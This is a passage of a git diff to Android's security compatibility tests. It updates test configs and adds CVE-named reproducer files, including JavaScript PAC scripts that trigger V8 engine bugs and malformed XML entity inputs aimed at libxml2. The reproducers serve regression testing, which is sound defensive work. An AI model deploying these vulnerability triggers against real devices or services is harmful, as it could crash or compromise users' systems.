+        Thread.sleep(2500);
+
+        String pid = null;
+        try (InputStreamSource logSource = mDevice.getLogcat()) {
+            InputStreamReader streamReader = new InputStreamReader(logSource.createInputStream());
+            BufferedReader logReader = new BufferedReader(streamReader);
+
+            String line;
+            while ((line = logReader.readLine()) != null) {
+                Matcher matcher = pattern.matcher(line);
+                if (matcher.find()) {
+                    pid = matcher.group(1);
+                    break;
+                }
+            }
+        }
+        assertTrue("Didn't find test service statement in logcat", pid != null);
+
+        final String procStr = "/proc/" + pid;
+        final String lsOut = mDevice.executeShellCommand("ls -d " + procStr).trim();
+        assertTrue("Looking for nonexistence of service process " + pid,
+                lsOut.contains("No such file"));
+    }
+
     public void testIntentFilterHostValidation() throws Exception {
         String line = null;
         try {
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index cdf71dc..8bef6138b 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 96cd045..bec7a9c 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -108,11 +108,10 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7/C-0-7")
+    @CddTest(requirement="9.7")
     public void testConfigStackProtectorStrong() throws Exception {
         assertTrue("Linux kernel must have Stack Protector enabled: " +
-                "CONFIG_STACKPROTECTOR_STRONG=y or CONFIG_CC_STACKPROTECTOR_STRONG=y",
-                configSet.contains("CONFIG_STACKPROTECTOR_STRONG=y") ||
+                "CONFIG_CC_STACKPROTECTOR_STRONG=y",
                 configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
     }
 
@@ -122,7 +121,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7/C-0-8")
+    @CddTest(requirement="9.7")
     public void testConfigROData() throws Exception {
         if (configSet.contains("CONFIG_UH_RKP=y"))
             return;
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index a07fbbd..fc814a5 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityBulletinHostTestCases
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5f8f0e2..b13bd50 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -16,142 +16,27 @@
 <configuration description="Config for the CTS Security bulletin host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
-        <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
-        <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
-        <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
-        <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
-        <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
-        <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
-        <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
-        <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
-        <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
-        <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
-        <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
-        <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
-        <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
-        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
-        <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
-        <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
-        <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
 
-        <!-- Bulletin 2016-04 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
-        <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsHostLaunchAnyWhereApp.apk" />
+    </target_preparer>
 
-        <!--__________________-->
-        <!-- Bulletin 2016-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-07 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
-
-        <!-- Bulletin 2016-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-10 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2016-11 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2016-12 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-01 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-02 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
-        <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
-        <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
-        <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
-        <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-04 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-10229->/data/local/tmp/CVE-2016-10229" />
-        <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
-        <option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
-
-        <!--__________________-->
-        <!-- Bulletin 2017-05 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-06 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-07 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
-
-        <!--__________________-->
-        <!-- Bulletin 2017-08 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-09 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="Bug-38195738->/data/local/tmp/Bug-38195738" />
-
-        <!--__________________-->
-        <!-- Bulletin 2017-10 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-11 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2017-12 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-6262->/data/local/tmp/CVE-2017-6262" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-01 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
-        <!--__________________-->
-        <!-- Bulletin 2018-02 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
-
-        <!--__________________-->
-        <!-- Bulletin 2018-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
-
-        <!--__________________-->
-        <!-- Bulletin 2019-03 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
-
-        <option name="append-bitness" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="OomCatcher.apk" />
+        <option name="test-file-name" value="hotspot.apk" />
     </target_preparer>
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
-        <option name="runtime-hint" value="8m40s" />
+        <option name="runtime-hint" value="18m26s" />
     </test>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
+        <option name="src-dir" value="/sdcard/report-log-files/"/>
+        <option name="dest-dir" value="report-log-files/"/>
+        <option name="temp-dir" value="temp-report-logs/"/>
+        <option name="device-dir" value="true"/>
+    </target_preparer>
 </configuration>
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0477.gif b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
new file mode 100644
index 0000000..67bd51f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0647.zip b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
new file mode 100644
index 0000000..e01eaf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
new file mode 100644
index 0000000..999518a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    alert("enter");
+    let arr = [];
+    arr[1000] = 0x1234;
+
+    arr.__defineGetter__(256, function () {
+            delete arr[256];
+            arr.unshift(1.1);
+            arr.length = 0;
+            });
+
+    Object.entries(arr).toString();
+    alert(JSON.stringify(entries));
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
new file mode 100644
index 0000000..a6b0166
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    return "DIRECT";
+}
+
+function maxstring() {
+  // force TurboFan
+  try {} finally {}
+
+  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
+  i += 16; 
+  i >>= 28; 
+  i *= 1000000;
+  //i *= 3;
+  if (i >= 3) {
+    return 0;
+  } else {
+    var arr = [0.1, 0.2, 0.3, 0.4];
+    return arr[i];
+  }
+}
+
+function opttest() {
+  for (var j = 0; j < 100000; j++) {
+    var o = maxstring();
+    if (o == 0 || o == undefined) {
+      continue;
+    }
+    console.log(o);
+    return o;
+  }
+}
+
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
new file mode 100644
index 0000000..b70e24a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    for(var i = 0;i<0x10000;i++){
+        change_elements_kind(x);
+    }
+
+    for(var i = 0;i<0x10000;i++){
+        write_as_unboxed();
+    }
+
+    change_elements_kind(evil);
+
+    write_as_unboxed();
+
+    try{
+        evil[0].x;
+    }catch(e){
+    }
+    return "DIRECT";
+}
+
+function change_elements_kind(a){
+    a[0] = Array;
+}
+function read_as_unboxed(){
+    return evil[0];
+}
+
+function write_as_unboxed(){
+    evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
+}
+
+change_elements_kind({});
+
+var map_manipulator = new Array(1.0,2.3);
+map_manipulator.x = 7;
+change_elements_kind(map_manipulator);
+
+map_manipulator.x = {};
+
+var evil = new Array(1.1,2.2);
+evil.x = {};
+
+var x = new Array({});
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/CVE-2019-2051.pac
index 5ee3aeb..b24b160 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,8 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
+function FindProxyForURL(url, host){
+    this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { });
+    x;
+    return "DIRECT";
 }
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
new file mode 100644
index 0000000..670e870
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    for(var i = 0;i < 0x1000;i++){
+        tt();
+    }
+
+    return "DIRECT";
+}
+
+function tt(){
+    var evil_o = {};
+    var reg = /abc/y;
+    var num = {};
+    num.toString = function(){
+	    change_to_dict();
+	    return 0x0;
+    }
+
+
+    function change_to_dict(){
+	    for(var i = 0;i < 0x100;i++){
+		    reg["a"+i.toString(16)] = i;
+	    }
+    }
+
+    evil_o.toString = function(){
+	    //change_to_dict();
+	    reg.lastIndex = num;
+	    return "abc".repeat(0x1000);
+    }
+
+    String.prototype.replace.call(evil_o,reg,function(){});
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
new file mode 100644
index 0000000..4880f54
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    for (var  i = 0; i < 0x10000; i++){
+        f();
+    }
+    array[0] = double_arr;
+    f();
+    try {
+    double_arr[1].x;
+    }catch(e){}
+    return "DIRECT";
+}
+
+var double_arr = [1.1, 2.2];
+var array = [[0.1],[0.1],[0.1]];
+
+function f(){
+    double_arr[0] = 3.3;
+    for(var i = 0; i < array.length; i++){
+        array[i][0] = {"abcd":0x4321};
+    }
+    double_arr[1] = 6.176516726456e-312;
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/CVE-2019-2130.pac
index 5ee3aeb..77a0cb5 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,24 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+function FindProxyForURL(url, host){
+    function opt() {
+        opt['x'] = 1.1;
+        try {
+            Object.create(object);
+        } catch (e) {
+        }
 
-import android.app.Activity;
-import android.os.Bundle;
+        for (let i = 0; i < 100000; i++) {
 
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
+        }
     }
+
+    opt();
+    object = opt;
+    opt();
+
+    return "DIRECT";
 }
+
+var object;
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/bug_138441919.pac
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/bug_138441919.pac
index 5ee3aeb..006fb6a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
+function FindProxyForURL(url, host){
+    Object.defineProperty(Promise, Symbol.species, { value: 0 });
+    var p = new Promise(function() {});
+    p.then();
+    return "DIRECT";
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/res/bug_139806216.pac
similarity index 61%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/res/bug_139806216.pac
index 5ee3aeb..256108d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
+function FindProxyForURL(url, host){
+    var x = new ArrayBuffer(1);
+    return "DIRECT";
 }
diff --git a/hostsidetests/securitybulletin/res/cve_2015_3873.mp4 b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
new file mode 100644
index 0000000..ec5938c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_3873.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_10244 b/hostsidetests/securitybulletin/res/cve_2016_10244
new file mode 100644
index 0000000..6f0fad7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_10244
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/hostsidetests/securitybulletin/res/cve_2016_4658.xml
similarity index 68%
copy from tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
copy to hostsidetests/securitybulletin/res/cve_2016_4658.xml
index 186bbb1a..b863309 100644
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/res/cve_2016_4658.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 Google Inc.
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -14,9 +13,10 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="androidx.heifwriter" >
-
-    <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
+<Test>
+<root xmlns:aaa="aaa.com" xmlns:bbb="bbb.com" xmlns:ccc="ccc.com">
+    <aaa:one>a</aaa:one>
+    <two bbb:c="d">e</two>
+    <three>ccc:f</three>
+</root>
+</Test>
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/hostsidetests/securitybulletin/res/cve_2016_5131.xml
similarity index 68%
copy from tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
copy to hostsidetests/securitybulletin/res/cve_2016_5131.xml
index 186bbb1a..e6abae7 100644
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/res/cve_2016_5131.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
+<?xml-stylesheet type="text/xsl" href="cve_2016_5131.xsl"?>
+<!-- Copyright (C) 2020 Google Inc.
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -14,9 +13,4 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="androidx.heifwriter" >
-
-    <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
+<doc/>
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0697.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
new file mode 100644
index 0000000..ef300fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0697.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0713.ttf b/hostsidetests/securitybulletin/res/cve_2017_0713.ttf
new file mode 100644
index 0000000..1f316ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0713.ttf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
new file mode 100644
index 0000000..d9e9e83
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9049.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+  <!ENTITY % a "<:0000">
+  %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
new file mode 100644
index 0000000..4f0d81a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2018_9466_cve_2017_9050.xml
@@ -0,0 +1,3 @@
+<!DOCTYPE D [
+  <!ENTITY % a "<:00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000